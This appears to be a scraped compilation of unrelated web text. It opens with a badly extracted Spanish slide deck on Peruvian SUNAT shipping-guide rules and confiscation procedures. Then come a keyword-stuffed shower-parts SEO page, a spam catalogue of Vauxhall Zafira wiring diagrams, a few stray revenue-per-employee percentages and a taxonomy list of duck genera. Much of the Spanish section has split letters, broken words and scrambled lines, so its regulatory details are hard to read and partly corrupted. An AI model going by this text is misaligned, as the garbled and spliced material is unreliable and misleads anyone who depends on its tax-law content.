o b a n te d e P a g o y d e la\nte n e n c ia d e la C o n s ta n c ia d e\nd e p s it o e n e l B N .\np rese ntars e\nTRAN SBO RDO\nin d ic a r\nd a t o s p e r t in e n t e s .\nC u n t a s fe c h a s s e d e b e n c o n s i g n a r e n la G u a s\nd e R e m is i n ?\nH a y fe c h a d e e m is i n ?\nQ u in d i c a la fe c h a d e in ic i o d e t ra s l a d o ?\nE l de stin a ta rio es qu ie n\ne fe c t i v a m e n t e re c i b i r lo s\nb ie n e s e n e l U LT I M O p u n t o\nd e lle g a d a\nH a y va r i o s\ntra m o s .\nS e co n s ig n a e l\nd reo h a b e r va r i o s\ntra n s p o r t i s t a s\nS e co n s ig n a e l 1 e ro\nT r a m o 2 d e tr a n s b o r d o :\nP u n t o d e P a r t i d a : D ir e c c i n c o m p l e t a\nP u n t o d e L le g a d a : D ir e c c i n c o m p l e t a\nD a t o s d e l Tra n s p o r t i s t a : D e n o c o n o c e r l o s e c o n s i g n a A M A N O\na n t e s d e in ic i a r e s t e tra m o\nD a to s de l ve h c u lo y de l co n d u c to r: D e n o co n o c e rlo se\nc o n s i g n a A M A N O a n t e s d e in ic i a r e s t e tra m o\nT r a m o 3 d e tr a n s b o r d o :\nb ie n e s e n e l U LT I M O p u n t o d e\nP u n to de Pa rtid a : S o lo dis trit o , pro v in c ia y\nde p a rta m e n to\nP u n t o d e L le g a d a : S o l o d is t r i t o , p r o v i n c i a y\nD a t o s d e l Tra n s p o r t i s t a :\no so d3\ne l dvee htr\ncaunl os byo dr edl oc:o n d u c t o r :\nD U R A N T E DE L TR A S LA D O\nEl con d u ctor\nsu p o d e r :\n- E l o rig in a l ( d e s tin a ta r io ) y la c o p ia\nS U N A T d e la G R R o d e la Fa c t u r a - G R R .\ntra n s p o rtis ta ,\nd e s t i n a t a r i o y S U N A T d e l a G R T, d e s e r\ntra n s p o r t e p b li c o .\nD e p re se n ta rse el T R A N S B O R D O\nI m p o s ib ilid a d\ni n d i c a r,\nin t e r r u p c i n , lo s ig u ie n t e :\nM o tiv o\nlle g a d a .\np u n tos\np a r tid a\nD a to s d e l n u e v o tra n s p o rtista y\nd e l v e h c u l o , d e s e r a p li c a b l e . E s t e\nd e b e r e m it ir s u G R T\nC o n t ro l M v il: D u ra n te el\ntra s l a d o la S U N A T p u e d e\nin t e r v e n i r a l v e h c u l o y :\n- R e q u e r i r la c o p i a S U N A T d e la\nG R R y d e la G R T, d e s e r e l c a s o ,\ny e l c o n d u c t o r e s t e n la\no blig a c i n de en tr e g a r la s .\n- C o n s id e ra r u n pla z o\np r u d e n c i a l e n t r e la fe c h a d e\nin ic i o d e l tra s l a d o h a s t a s u\nde s tin o , se g n su n a tu r a le z a .\nC o n s ig n a r O B L I G A T O R I A M E N T E :\nM o tiv o : D e s p e r fe c to m e c n ic o , accid e n te de\nca rre t e ra\nN u e v o P u n t o d e P a r t i d a : D ir e c c i n c o m p l e t a\nN u e v o P u n t o d e L le g a d a : D ir e c c i n c o m p l e t a\nD a t o s d e l N u e v o Tra n s p o r t i s t a :\nD a to s de l n u e v o ve h c u lo y/o de l n u e v o co n d u c to r :\nM o tiv o : D e s p e r fe c to m e c n ic o , a c c id e n te de ca rr e te ra\nN u e v o P u n to de Pa rtid a : S o lo dis trit o , pro v in c ia y\nN u e v o P u n t o d e L le g a d a : S o l o d i s t r i t o , p r o v i n c i a y\nD a t o s d e l N u e v o Tra n s p o r t i s t a : D e h a b e r s u b c o n t r a t a c i n\nC o n s i g n a r a u n c u a n d o h a y a u n n u e v o tra n s p o r t i s t a\nC u n t o tie m p o d e b e d u r a r u n\ntr a s la d o ?\nL a S U N A T a l m o m e n t o d e r e q u e rir la\ng u a d e re m isi n p o d r c o n sid e ra r u n\np la z o p r u d e n c ia l e n tr e la f e c h a d e in ic io\nd e l tra sla d o h a s ta s u d e s tin o , s e g n la\nn a tu rale z a\nc a ra c t e rs tic a s\n(a r t . 2 2 d e l R e g l a m e n t o d e C o m p r o b a n t e s d e P a g o )\nIMPOSIBILIDAD DE TERMINAR\nC o n s ig n a r O B L I G A T O R I A M E N T E a m a n o :\nM o t i v o : R e c h a z o d e b ie n e s , v e n t a a n u l a d a , A l m a c e n\nce rra d o\nD e s t i n o te m p o r a l : P.e . C o c h e r a\nN u e v o P u n t o d e L le g a d a : SD\no leo sdei srt rTi tRo A\np rSo P\nv iOn R\nP U B L I C O e s to s d a to s se\nc o n s i g n a r a n e n la G U I A D E\nREM IS IO N\nTRA N SP O R TIS TA\nD E S P U E S DE L TR A S L A D O\nREM IT E N T E\nTRA N S P O R T IS T A\nA r c h i v a r l a c o p i a r e m it e n t e\nG R R d e m a n e ra co rr e la t iv a .\nA r c h i v a r l a c o p i a Tr a n s p o r t i s t a d e l a G R T d e\nm a n e ra cro n o l g ic a .\nIm p orta n te : D e b e a d ju n ta r a ca d a u n a\nd e la s G R T la c o p ia d e l C o m p r o b a n te d e\ne m itid o\ntr a n s p o r t e p r e s t a d o .\nE l d e s ti n a t a r i o a r c h i v a r c ro n o l g ic a m e n t e\nc o p i a s S U N A T d e la G R R y d e la G R T.\nD ES T IN A T A R IO\nE l o rig in al ( d e s t in a t a r i o )\ns e g u n d a c o pia d e la G R T p u e d e n ta m b i n s e r\na rc h iva d o s\nc ro n o l g ic a m e n t e\ntra ta rs e d e u n a v e n ta , a rc h iv a rla ju n to c o n e l\nc o m p ro b a n te d e p a g o e m itid o p o r s u p ro v e e d o r\n(re m ite n t e ) .\nS i e l tra s la d o s e h a c e a m a s d e u n d e s tin a ta rio\nq u e d a ra n\nu lti m o\nde s tin a ta r io .\nD IS T R IB U C IO N D E LA S G R\ny co p ia s\nR e m it e n te\nD e s t in a t a ri\nco p ia\n(1 ) , (4 )\nTra n s p o r t is\n(1 ) , (4 ) ,\nco p ia s\na d m in i s t r\na t iv a s ?\nTE N E N C IA D E LA S G R\nS e e m i t e y s e lle v a d u r a n t e e l tr a s l a d o d e b ie n e s .\nS e e m it e y s e m a n t ie n e n e n p o d e r d e l re m it e n t e o\ntr a n s p o r t i s t a , p a r a s u a r c h i v o d e c o r r e l a t i v o s\nS e e n t r e g a a l r e m i t e n t e a n t e s d e l in ic i o d e l tr a s l a d o\nL u e g o d e fin a l i z a d o e l t r a s l a d o q u e d a n e n p o d e r d e l\nd e s t i n a t a r i o , s a l v o la c o p i a S U N A T , e n e l c a s o d e s e r r e t e n i d a\np o r la S U N A T\nD u r a n t e e l tr a s l a d o p u e d e s e r r e t e n i d o p o r la S u n a t .\nFIS C A L IZ A C IO N\nTR IB U T A R IA D E LA S\nGU A S DE REM IS I N\nC o n t r o l M o v il o C a m in e r o\nFis c a liz a c io n d e l I G V\nFis c a liz a c io n d e l I R\nC o n tro l de Inv e n ta rio s\nO p e r a t iv o s d e s u s t e n t a c io n d e\nm e r c a d e ra s\nFis c a liz a c io n d e A d u a n a s\nIN F R A C C I O N E S\nSA N C IO N E S\nTR IB U TA R IA S\nT i p o s d e in f r a c c i o n e s e n e l t r a n s p o r t e\nM a s co m u n e s pa ra el R E M IT E N T E\n174 nm . 8 CT\n174 nm . 9 CT\nR e m it ir\nc o m p ro b a n t e d e p a g o, g u a\nd o c u m e n t o p r e v is t o p o r la s\nn o r m a s p a r a s u s t e n t a r la\nr e m is i n .\ndocu m entos q ue no rena n\nc a r a c t e r s t ic a s\nc o n sid era d o s\nco m probantes\ng u a s d e r e m is i n y / u o t r o\nd o cu m ento q u e ca rezca d e\nv a l id e z .\n174 nm . 10 CT\nR e m it ir b ie n e s C O N c o m p r o b a n t e s d e p a g o , g u a d e\nre m isi n u o tro s d o c u m e n t o s c o m p le m e n t a rio s q u e\nn o c o r r e s p o n d a n a l r g i m e n d e l d e u d o r t rib u t a r io o\na l t ip o d e o p e ra c i n r e a liz a d a d e c o n f o r m id a d c o n\nla s n o r m a s s o b r e la m a t e r ia .\nSANCIONADAS CON COMISO DE BIENES\nINFRACCIONES QUE PUEDEN SER\nM a s co m u n e s pa ra el T R A N S P O R T IS\n174 nm . 4 CT\nTR A N S P O R T A R\n174 nm . 5 CT\nTr a n s p o r t a r b ie n e s y / o\np a s a je ro s S IN el\nco r r e s p o n d ie n te\ncom p ro b a n te d e p a g o ,\ng u a d e re m i s i n ,\nm a n ifie s t o d e p a s a je r o s\ny/u otro do c u m e n to\np r e v is t o p o r la s n o r m a s\np a ra su s te n ta r el\ntra s la d o .\np a s a je ro s C O N\nd oc u m e n to s q ue no\nr e n a n lo s r e q u is i t o s y\nca ra c t e r s tic a s p a r a se r\nco n s id e ra d o s co m o\ncom p ro b a n te s d e pa g o o\ng u a s d e re m i s i n ,\ny/u otro do c u m e n to q u e\nc a r e z c a d e va lid e z .\nO b l i g a c i o n e s d e lo s t r a n s p o r t i s t a s\nA rt c u lo 9 7 .- O B L I G A C I O N E S D E L C O M P R A D O R , U S U A R I O\nY TRA N S P O R T IS T A .\nLa s pe r s o n a s q u e\ne s t n o b lig a d a s a\ng u a s d e re m is i n\nb ie n e s , a s c o m o\np r e s t e n e l s e r v ic io d e tra n s p o r t e d e b ie n e s\ne x ig ir a l re m it e n t e lo s c o m p r o b a n t e s d e p a g o ,\ny / o d o c u m e n t o s q u e c o r r e s p o n d a n a lo s\na lle v a r lo s c o n s i g o d u r a n t e e l tra s la d o .\nA rt c u lo 1 8 .- R E S P O N S A B L E S S O L I D A R I O S\nS o n re s p o n s a b l e s s o lid a r i o s c o n e l c o n t r i b u y e n t e :\nL a s e m p r e s a s p o r t e a d o r a s q u e tra n s p o r t e n p r o d u c t o s\ng ra v a d o s c o n t rib u t o s , s i n o c u m p le n lo s re q u is it o s q u e\ns e a le n la s le y e s t rib u t a r ia s p a r a e l t ra n s p o r t e d e d ic h o s\n( P o r t e a d o r e s s in n im o d e T r a n s p o r t is t a )\nN o e x i s t e G R - R n i G R -T\nA p e s a r d e e s t a r e m it id a , cu a n d o\nD u r a n t e e l tr a s l a d o n o s e p o r t e lo s s ig u ie n t e s\ndo c u m e n to s, cua n d o corre s p o n d a :\nC o n s t a n c ia d e l d e p s it o d e la d e t r a c c i n .\nFa c t u r a s o B o le t a s .\nE n tr e o tr o s .\nL a im p r e s i n y / o im p o r t a c i n d e b e r s e r\n. 1 p\nr e a l iz aNR Cdmd Pa\no. r1 :2\nU n a im p r e n t a d e b id a m e n t e a u t o r i z a d a , y\nP o r la c a n t i d a d t o t a l d e d o c u m e n t o s\na u t o r iz a d o s .\nE l R e m i t e n t e o Tra n s p o r t i s t a d e b e c u m p l i r c o n lo s\ns ig u ie n t e s r e q u i s it o s , a l in ic i o d e l t r a s l a d o :\nE n e s t a d o d e l c o n t r ib u y e n t e N O d e b e c o n s ig n a r :\nB a j a d e R U C , a p e d i d o d e p a r t e o d e o f ic i o , o\nS u s p e n s i n t e m p o r a l d e a c t iv id a d e s .\nE n c o n d ic i n d e l c o n t r i b u y e n t e N O d e b e c o n s i g n a r :\nN o h a b id o\nH a b e r d e c l a r a d o e n e l R U C lo s t r ib u t o s\nc o r r e s p o n d i e n t e s a l r g i m e n t r ib u t a r i o a l c u a l\nperte n e c e n .\nH a b e r p r e s e n t a d o la s D D J J d e lo s lt im o s 6 m e s e s .\nN m . 1 a rt . 1 2\nO t r a s co n s e c u e n c ia s p o r n o p o r t a r\nG R-R o GR T\nC d i g o Tr i b u t a r i o\nA rtc u lo\n6 4 .SUPUESTOS\nDE T E R M IN A C IO N SO B R E BA S E PR E S U N T A\nL a A d m i n i s t r a c i n Tr i b u t a r i a p o d r u t i li z a r d i r e c t a m e n t e l o s\np ro c e d im ie n t o s d e d et er m in a ci n s o b re b a s e p re s u n t a ,\ncua n d o :\n1 0 . S e d e t e c t e la r e m is i n o t ra n s p o r t e\nd e b ie n e s sin el\nc o m p r o b a n t e d e p a g o , g u a d e r e m is i n y / u o t r o\nd o c u m e n t o p r e v is t o e n la s n o r m a s p a ra s u s t e n ta r la\nr e m is i n o tra n s p o rt e , o c o n d o c u m e n t o s q u e n o\nc a ra c t e r s t ic a s\nr e m is i n , u o t r o d o c u m e n t o q u e c a r e z c a d e v a l id e z .\nCO M ISO DE\nAP L IC A C I N D E LA SA N C IO N D E C O M IS O\nP R O C E D IM IE N T O PA R A R E C U P E R A R\nLO S B IE N E S C O M IS A D O S\nCO N T R O L M O V IL O CA M IN E R O\np r o c e d im ie n t o\ntra n s p o rte\nb ie n e s ,\nfis c a liz a r\nin fra c c i n y a p lic a r la s a n c i n d e c o m is o\ne s e n ln e a s g e n e r a le s e l s ig u ie n t e :\nS U N AT\nin te rv ie n e\nfe d a t a rio\n(fu n c io n a rio )\ns o li c it a a l t r a n s p o r t i s t a d e l o s b i e n e s q u e\ne x h ib a lo s d o c u m e n t o s q u e s u s te n ta n e l\ntra s l a d o .\nE l tra n s p o rtis ta d e b e e x h ib ir la s G R R ( u o tro d o c u m e n t o d e s e r\ne l c a s o ) y l a G R T. A s i m i s m o , d e b e e n t r e g a r a l a S U N A T l a c o p i a\nS U N A T d e la G R R y G R T.\nfe d a ta rio\nre v is a\ne n t o n c e s le v a n t a r u n a A c t a P r o b a t o r ia :\nf a lt a s\nAC T A PR O B A TO R IA\n- S i la in f r a c c i n e s c o n G R - R : e l a c t a s e r le v a n t a d o c o n t r a e l\np r o p ie t a r io d e lo s b ie n e s .\n- S i la in f r a c c i n e s c o n G R -T: e l a c t a s e r le v a n t a d o c o n t r a e l\ntra n s p o r t is t a .\nE l A cta\nP r o b a t o r ia\nco n te n d r\ns ig u ie n t e , y\nd e b e r s e r e n t r e g a d a a l s u j e t o in t e r v e n id o :\n- I d e n t i f i c a c i n d e l s u j e t o in t e r v e n id o y d e l in f r a c t o r.\n- I n f r a c c i n c o m e t id a .\nI d e n t if i c a c i n\nd e s c r ip c i n\nd e l b ie n e s\nb ie n e s )\nc o m i s o , p r e c i s a n d o s u e s t a d o d e c o n s e r v a c i n y la c a n t i d a d .\n- I d e n t if ic a c i n d e l fu n c i o n a r io d e la S U N A T.\n- L u g a r y fe c h a d e la in t e r v e n c i n .\n- L a f ir m a d e l s u j e t o i n t e r v e n i d o , l a c o n s t a n c i a d e l a n e g a t i v a d e\nre c e p c i n o d e fir m a .\nA C R E D I T A C I O N DE LA PR O P IE D A D\nL u e g o d e la e m is i n d e l a c ta p r o b a t o ria , e l p r o p ie ta rio o\np o s e e d o r d e lo s b ie n e s tie n e u n p la z o p a ra a c re d ita r a n te la\np osesi n\nco m is a d o s :\n- D o s ( 0 2 ) d a s h b il e s p a r a b ie n e s p e r e c e d e r o s\n- D ie z ( 1 0 ) p a r a b ie n e s n o p e r e c e d e r o s\nP a r a e llo d e b e r p r e s e n t a r u n E X P E D I E N T E c o n lo s ig u ie n t e :\nE s c rito\nd irig id o\nIn te n d e n c ia\np ro d u jo\nin te rv e n c i n\na c r e d it a n d o\np r o p i e d a d o p o s e s i n y s o li c it a n d o e l re t i r o d e lo s b ie n e s .\n- P a ra b ie n e s a d q u irid o s lo c a lm e n te : O rig in a l y c o p ia S U N A T\nd e la s fa c t u r a s u o t r o s c o m p r o b a n t e s d e p a g o d e c o m p r a\n- P a r a b ie n e s im p o r t a d o s : C o p ia d e la D U A\np r o d u c id o s :\nfa c tu ra s\np r i n c i p a l e s i n s u m o s u t i li z a d o s e n l a p r o d u c c i n d e l o s m i s m o s .\nL o c u a l d e b e c o n s t a r e n la e s t r u c t u r a d e l c o s t e o d e l b ie n .\n- C o p ia s d e fa c tu ra s p o r la v e n ta d e p ro d u c to s id n tic o s o\nsim ila re s\np r o b a t o ria\ne m itid a s\npro d uctos\na n te rio rid a d\nid n tic o s\ns im ila re s\n(s irv e\nd e t e r m i n a r la m u lt a ) .\n- C a r t a p o d e r l e g a l i z a d a n o t a r i a l m e n t e , e n c a s o d e r e a li z a r\nlo s tr m it e s u n a te r c e r a p e r s o n a .\nIm p o rta n te :\nEste ex p e d ie n te se d e b e pre s e n ta r e n :\nI n te n d e n c ia\nO fic in a\np r o d u j o la in t e r v e n c i n .\np e rte n e c e . E n e s te c a s o, e s ta o ficin a d e riv a r e l e x p e d ie n te\np r o d u j o la in t e r v e n c i n , p a r a s u v e r if ic a c i n .\nM U LT A PO R EL CO M IS O\nn o t if i c a r\nR e s o lu c i n\nC o m is o,\nd o n d e e s t a b le c e r fo r m a l m e n t e :\nL a s a n c i n d e c o m is o\nE l v a lo r d e lo s b ie n e s c o m i s a d o s\nEl m onto de\nm u lta\n(1 5 %\nd e l v a lo r d e\nb ie n e s , s u j e t a a g ra d u a l id a d , d e s e r a p lic a b le )\nL o s g a s t o s d e a lm a c e n a m ie n t o .\nP la z o p a r a e l p a g o d e la m u l t a :\np erec e d eros:\nh b ile s .\n6 U IT\no c u m e n t a c i n fu e n t e p a r a e l c lc u lo d e l 1 5 %\n1 . D o c u m e n ta c i n\np r o p o rc io n a d a\nc o n trib u y e n te\nin fra c to r (c o m p r o b a n te s d e p a g o, D U A , D e c la ra c i n Ju ra d a ,\n2 . D o c u m e n ta c i n\np rov e ed or\nclie n te\n( c o m p r o b a n t e s d e p a g o , D U A , D e c la r a c i n Ju r a d a , e t c . )\n3 . C o m p r o b a n t e d e p a g o o in f o r m e s d e ta s a c i n .\n4 . P a g in a w e b d e o r g a n is m o s e in s titu c io n e s g u b e r n a m e n t a le s\ng re m ios\nc o m e rc ia n te s\nin d u s tria le s\no fic ia l m e n t e\nre c o n o c i d o s .\n5 . In fo r m a c i n\nre le v a d a\nu t ili z a n d o\no b te n c i n\np r e c io s .\n6 . O t r a s fu e n t e s a d ic io n a le s d e v a lo r a c i n .\nFuen te: SU N AT\nR E T I R O D E LO S BIE N E S CO M I S A D O S\nL u e g o d e p a g a d a l a m u l t a , l a S U N A T e m i t ir l a O R D E N D E\nR ET IR O D E LO S BIE N E S C O M IS A D O S .\nd oc u m e nto,\nc o n trib u y e n te ,\nn o ta ria lm e n te a u to riz a d o, p u e d e re tira r lo s b ie n e s d e l a lm a c n\nd e la S U N A T y tra s l a d a r lo a d o n d e c r e a c o n v e n ie n t e .\nin icia r\ne m itir\np e r t in e n t e s .\ntra ta rs e\ne t li c o ,\nc o n s t a n c i a d e l d e p s it o d e la d e t r a c c i n .\nE C LA R A C IO N DE AB A N D O N O DE BIE N E\nL a S U N AT d e c la ra r lo s b ie n e s e n a b a n d o n o, p u d ie n d o re m a ta rlo s ,\nd o n a r l o s , re m it ir lo a e n t id a d e s e s t a t a le s , c u a n d o :\nE l in fra c t o r\na c r e d ita\np la z o e s t a b le c i d o .\nH a b ie n d o p r e s e n ta d o la d o c u m e n ta c i n p e rtin e n te , n o a c re d ita\nfe h a c ie n te m e n te\ne l d erec h o\np o s e s i n\nb ie n e s c o m is a d o s .\nL a S U N A T p u e d e r e a l i z a r i n s p e c c i o n e s , v e r if i c a c i o n e s y c r u c e s\nv e ra c id a d\nd o c u m e n t a c i n p re s e n ta d a , e l c o n te n id o d e s ta o la re a lid a d\nd e la o p e r a c i n .\nC o m o r e s u l t a d o d e l a s a c c i o n e s a n t e s c it a d a s , l a S U N A T p u e d e\nc o n c lu ir\nc u e nta\nd e m u e stre n\nb i e n e s n o s o n d e p r o p i e d a d d e q u i e n s o li c i t a l a d e v o l u c i n o\ncorres p o n d e\ns o li c i t a n t e\no p e r a c i n n o e s re a l .\nE l in f r a c t o r n o p a g a la m u lt a d e n t r o d e l p la z o e s t a b le c id o .\nLA IM P U G N A C I O N D E L C O M I S O\nE l c o n trib u y e n te p u e d e re c la m a r y a p e la r la re s o lu c i n d e\nco m is o .\nS i e l c o n trib u y e n te\ng a n a , la\nd e v o lv e r\np a g a d o m a s in t e r e s e s .\nSA N CION\np ie r d e\nDESESTIM ACIO N\nin c re m e n t a r c o n u n a m u lta e q u iv a le n te a l 1 5 % d e l p re c io\nd e lo s b ie n e s .\n01/0 4 /2 0 0 7\nA r t c u l o 1 8 5 d e l C d i g o Tr i b u t a r i o d e r o g a d o d e s d e e l\nS a n c io n e s p a r a e l r e m i t e n t e\nC o m is o o D e c o m i s o d e b ie n e s\nN o > 6 U IT\nS a n c io n e s p a r a e l t ra n s p o r t is t a\nI n t e r n a m i e n t o t e m p o r a l d e l v e h c u l o\nM u l t a q u e s u s t it u y e e l in t e r n a m ie n t o\nP o r fa c u lt a d d e la S U N A T\nA s o l ic i t u d d e l I N F R A C T O R\nLE G A L E S\nN o r m a s L e g a le s\nR e g la m e n t o d e C o m p r o b a n t e s d e P a g o\nR e s o lu c i n d e S u p e r in te n d e n c ia N 0 0 7 - 9 9 / S U N A T y\nm o d ific a to r ia s\nh tt p :/ / w w w .s u n a t .g o b .p e / le g is la c io n / s u p e r in / 1 9 9 9 / 0 0 7 .h t\nVe r c a p i t u l o V - O B L I G A C I O N E S P A R A E L\nTR A S L A D O D E BIE N E S\nG U IA S DE\nRE M IS IO N\nEL E C T R O N IC A S\nEN BIE N E S\nFIS C A L IZ A D O S\nIN S U M O S Q U I M I C O S Y B I E N E S FI S C A L I Z A D\nh t t p : / / m u l t i m e d i a . s u n a t . g o b . p e / i n d e x . p h p / v id e o s\n/ v id e o s - t r i b u t a r io s / it e m / 1 0 6 - o b l ig a c io n e s - d e - l o s u s u a r i o s - d e - i n s u m o s - q u i m ic o s - y - b i e n e s fis c a li z a d o s\nVIR T U A L\nSU N A T\nG U IA D E R E M IS IO N D E B IE N E S FIS C A L IZ A\n/ v id e o s - t r i b u t a r io s / it e m / 1 0 7 - g u i a - d e - r e m is i o n e le c t r o n i c a - d e - b ie n e s - f i s c a l i z a d o s - r e m it e n t e t ra n s p o r t i s t a\nP re g u n ta s ?\nDokumen Serupa dengan 1 - Guias de Remisión\nBALANCE DE PRUEBA 2017 - MADURARTE.xlsx\nCaso Utilidad y Demanda\nAlejandro Ordaz Alvarez\nRequisitos para facturacion\nRégimen General Ejercicio V4\nEnsayo 2. Analisis Impuestos Indirectos en 3 Ultimos Años\nSession 2 - PECHO\nSistema de Retenciones Igv\nCOMO CALCULAR RETEICA


Parts To A Shower Kenmore Sears Rust Proof Fiberglass Shower Stall And Dressing Room Drain Assemblies Parts Iceland Six Body Parts To Wash Before Entering Pool Public Radio Shower Naked And If Youre Not Sure Where Exactly Youre Supposed To Be Washing Please Refer To The Diagram Hanging In The Locker Room – novosely.info\nParts To A Shower Kenmore Sears Rust Proof Fiberglass Shower Stall And Dressing Room Drain Assemblies Parts Iceland Six Body Parts To Wash Before Entering Pool Public Radio Shower Naked And If Youre Not Sure Where Exactly Youre Supposed To Be Washing Please Refer To The Diagram Hanging In The Locker Room\nPublished 09/21/2019 04:08:56 pm at 09/21/2019 04:08:56 pm in Parts To A Shower.\nparts to a shower kenmore sears rust proof fiberglass shower stall and dressing room drain assemblies parts iceland six body parts to wash before entering pool public radio shower naked and if youre not sure where exactly youre supposed to be washing please refer to the diagram hanging in the locker room.\nupdates with obito and kabuto naruto amino that blur is making me mad ghhhh bonus one of , parts of a shower shower body parts shower designs and ideas parts of a shower of a shower faucet diagram shower shower head parts shower faucet parts parts of a shower , the shower door accessories are very important parts to the servce the shower door accessories are very important parts to the servce life of a shower room news foshan huajian metal products coltd, bathroom shower replacement parts chrisume bathroom shower replacement parts comfortable parts to a shower pictures inspiration bathroom with bathroom sink stopper, tub and shower parts bathroom accessories online danco bathtub hair catcher with suction cup, you can see through parts of the shower screen picture of hotel hotel indigo berlin centre alexanderplatz you can see through parts of the shower screen, plumbing parts and plumbing repair at the home depot shower arm, shower diverter valve diagram shower valve diagram contemporary shower , the whole copper cold and heat and dark decoration flower sprinkles the whole copper cold and heat and dark decoration flower sprinkles the shower spray suit with a dark faucetin shower system from home improvement on , delta bathtub and shower valve repair parts delta bath and shower valves models , how to clean a shower head top tips .


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Diagrams Catalogue\nHome › Wiring Diagram For Vauxhall Zafira Central Locking\nVauxhall Zafira Door Wiring Diagram | Online Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\nWRG-9423] Vauxhall Zafira Central Locking Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\nVauxhall Zafira Central Locking Wiring Diagram | #1 Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\nOPEL VECTRA B WIRING DIAGRAM Service Manual download, schematics Wiring Diagram For Vauxhall Zafira Central Locking\nCorsa D Stereo Wiring Diagram Beautiful Vauxhall Corsa C Radio Wiring Diagram For Vauxhall Zafira Central Locking\nZafira A Central Locking Wiring Diagram - Somurich com Wiring Diagram For Vauxhall Zafira Central Locking\nZafira B Central Locking Wiring Diagram | Online Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\n79 vauxhall astra g fuse box wiring library, zafira b fuse box Wiring Diagram For Vauxhall Zafira Central Locking\nTag Vauxhall Vectra B Central Locking Wiring Diagram — waldon Wiring Diagram For Vauxhall Zafira Central Locking\nZafira B Fuse Box Layout - www gadgetschinoispascher com Wiring Diagram For Vauxhall Zafira Central Locking\nVauxhall Zafira B Central Locking Wiring Diagram | #1 Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\nAstra open / close windows with central locking - YouTube Wiring Diagram For Vauxhall Zafira Central Locking\nVauxhall Zafira - Car Electrics & Repairs Wiring Diagram For Vauxhall Zafira Central Locking\nAstra Central Locking Wiring Diagram | Online Wiring Diagram Wiring Diagram For Vauxhall Zafira Central Locking\nOpel corsa 1 7 dti wiring diagram - Wiring images Wiring Diagram For Vauxhall Zafira Central Locking\nWiring Diagram For Vauxhall Zafira Central Locking Whats New\nWiring Diagram For Vauxhall Zafira Central Locking This schematic diagram serves to provide an understanding of the functions and workings of an installation in detail, describing the equipment / installation parts (in symbol form) and the connections.\nWiring Diagram For Vauxhall Zafira Central Locking This circuit diagram shows the overall functioning of a circuit. All of its essential components and connections are illustrated by graphic symbols arranged to describe operations as clearly as possible but without regard to the physical form of the various items, components or connections.\n2007 honda civic fuse diagram 2000 vw jetta automatic transmission wiring diagram free picture 01 f250 fuse box diagram motorcycles yamaha xj maxim wiring diagram cobalt gm engine diagram 28 hp evinrude wiring diagram atv 20r wiring harness honda goldwing 1500 fuse box acura rsx under hood fuse box diagram 2003 kia rio engine diagram


0.40816326530612246% Rev. per Employee\n4.794769342535416% Rev. per Employee\n0.04387648768716064% Rev. per Employee\n0.8948545861297539% Rev. per Employee


Duck - Anas - Classifications - Encyclopedia of Life\nAnas acuta Linnaeus 1758 Anas americana Gmelin 1789 Anas aucklandica (G.R. Gray, 1844) Anas bahamensis Linnaeus 1758 +\nAnas acuta Linnaeus 1758 Anas americana Gmelin 1789 Anas amotape Campbell 1979 Anas chlorotis Gray, 1845 Anas clypeata Linnaeus 1758 Anas crecca Linnaeus 1758 Anas discors Linnaeus 1758 Anas itchtucknee McCoy 1963 Anas platyrhynchos Linnaeus 1758 Anas sanctaehelenae Campbell 1979 2 more...\nAlamitornis Agnolin & Martinelli, 2009 +\nAmbiortus Kurochkin 1982 +\nApsaravis Norell & Clarke 2001 +\nArchaeorhynchus Zhou & Zhang, 2006 +\nBaptornis Marsh 1877 +\nChangmaornis Wang et al. 2013 +\nChaoyangia Hou & Zhang 1993 +\nEnaliornis Seeley, 1876 +\nGallus Brisson, 1766 19 more...\nAnimalia +Bilateria +Deuterostomia +Chordata +Vertebrata +Gnathostomata +Tetrapoda +Aves +Anseriformes +Anatidae +Anatinae +\nAix F. Boie, 1828 +\nAmazonetta Boetticher 1929 +\nAsarcornis Salvadori 1895 +\nAythya F. Boie, 1822 +\nBiziura Stephens 1824 +\nBucephala S. F. Baird, 1858 +\nCairina Fleming 1822 +\nCallonetta Delacour 1936 +\nCamptorhynchus Bonaparte 1838 +\nAnas acuta Anas americana Anas aucklandica Anas bahamensis Anas bernieri Anas capensis Anas castanea Anas chlorotis Anas clypeata Anas crecca 34 more...\nAnas acuta Linnaeus 1758 Anas capensis Gmelin 1789 Anas clypeata Linnaeus 1758 Anas erythrorhyncha Gmelin 1789 Anas hottentota Eyton, 1838 Anas platyrhynchos Linnaeus 1758 Anas querquedula Linnaeus 1758 Anas smithii Hartert, 1891 Anas sparsa Eyton 1838 Anas undulata Dubois, 1837 Alopochen Stejneger 1885 +\nNetta Kaup 1829 +\nNettapus Brandt 1836 +\nOxyura Bonaparte 1828 +\nPlectropterus Stephens 1824 +\nSarkidiornis Eyton 1838 +\nTadorna Boie 1822 +\nAnas acuta Anas albogularis Anas americana Anas andium +\nAnas acuta Anas americana Anas clypeata Anas crecca Anas falcata Anas formosa Anas luzonica Anas penelope Anas platyrhynchos Anas poecilorhyncha 2 more...


